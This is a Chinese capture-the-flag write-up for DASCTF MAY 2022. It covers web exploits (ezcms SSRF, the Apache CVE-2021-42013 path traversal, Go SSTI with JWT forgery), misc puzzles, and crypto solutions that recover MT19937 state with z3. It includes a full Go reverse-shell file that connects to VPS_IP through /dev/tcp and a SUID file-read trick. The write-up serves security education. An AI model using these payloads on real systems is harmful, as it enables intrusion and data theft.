2022DASCTF MAY 出题人挑战赛 Write up(Web Crypto全解!杂项五道)
字数 1629 2025-08-06 23:10:27
DASCTF MAY 出题人挑战赛 Web & Crypto 全解
0x01 Web 题目解析
Power Cookie 魔法浏览器
漏洞点分析:
ezcms的getcurl函数存在 SSRF 漏洞- 在
/sys/apps/controllers/api/Qpic.php文件中调用了该函数 - 使用
sys_auth函数对 URL 进行编码
利用步骤:
- 找到加密密钥:
Mc_Encryption_Key位于html/sys/libs/db.php - 对
file:///flag进行编码得到:fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc - 构造请求:
index.php/api/qpic/img?str=fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc
getme
漏洞利用:
- 直接利用 Apache HTTP Server 2.4.50 的路径遍历漏洞 (CVE-2021-42013)
- 通过
../遍历读取文件
hackme
漏洞分析:
- 存在 Go 文件上传点
- 访问
/users路由提示找不到users.go文件 - 猜测
/users路由会解析users.go文件
利用步骤:
- 上传包含反弹 Shell 的
users.go文件:
package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
var cmd = `bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'`
func main() {
cmd := exec.Command("sh", "-c", cmd)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
}
- 上传完成后访问
/users路由触发反弹 Shell
fxxkgo
漏洞分析:
- Go SSTI + JWT 伪造
- 注册用户时使用 SSTI 注入:
{{.}}
利用步骤:
- 注册用户:
/register POST: id={{.}}&pw=123 - 获取 token:
/auth POST: id={{.}}&pw=123 - 将 token 添加到
X-Token头中 POST 请求根路由触发 SSTI - 通过 SSTI 获取 JWT 密钥:
fasdf972u1041xu90zm10Av - 在 jwt.io 伪造 JWT,将
is_admin改为true - 使用伪造的 JWT 请求 flag 路由
0x02 MISC 题目解析
不懂PCB的厨师不是好黑客
解题步骤:
- 搜索关键字"卡比"找到密码表
- 对照密码表解码:
PTRH{GWDVSWVQBFISZSZ} - 使用维吉尼亚密码,逆推 KEY 为
kirby - 解码得到 flag:
FLAG{IMVERYLIKEKIRBY} - 改为小写并套上 flag 格式
神必流量
解题步骤:
- 使用 binwalk 分析流量包发现 7z 文件
- 使用 010 编辑器找到对应位置的 16 进制数据并另存
- 发现为加密压缩包,密码为
123456 - 解压得到谷歌网页,下载后密码在注释中为
123456 - 逆向异或 key
6603 - 得到 flag:
DASCTF{6f938f4c-f850-4f04-b489-009c2ed1c4fd}
rootme
解题方法:
- SUID 提权
- 使用
date命令读取文件
0x03 Crypto 题目解析
Yusa的密码学课堂——一见如故
解题思路:
- 使用 z3 求解器逆向获取状态
- 定义左右移位函数:
def cs2l(y, shift):
return ((y << shift) ^ (y >> (32 - shift))) & 0xffffffff
def cs2r(y, shift):
return ((y >> shift) ^ (y << (32 - shift))) & 0xffffffff
- 逆向求解状态:
from z3 import *
from tqdm import trange
def gao(y_1):
x_1=BitVec('x_1', 32)
s=Solver()
tmp = x_1 ^ RotateLeft(x_1, 11) ^ RotateLeft(x_1, 15)
tmp = tmp ^ RotateRight(tmp, 7) ^ RotateRight(tmp, 19)
s.add(y_1 == tmp)
s.check()
return (s.model().eval(x_1))
- 代入状态生成随机数并计算 flag 的 MD5
Yusa的密码学课堂——二眼深情
解题思路:
- 利用 MT[227] = MT[0] ^ ((MT[227]_h(brute 0/1) + MT[228])>>1) 的关系
- 使用 228 去恢复 seed,概率约为 1/4
- 实现逆向恢复函数:
def _int32(x):
return int(0xFFFFFFFF & x)
def invert_right(res,shift):
tmp = res
for i in range(32//shift):
res = tmp^res>>shift
return _int32(res)
def recover(last,index):
n = 1 << 32
inv = invert(2037740385,n)
for i in range(index, 0,-1):
last = ((last-1)*inv)%n
last = invert_right(last, 30)
return last
Yusa的密码学课堂——三行情书
解题思路:
- 取 624*32bit 对应的数据
- 使用 z3 求解器建立方程求解初始状态
- 通过 624*32 条方程求解出初始状态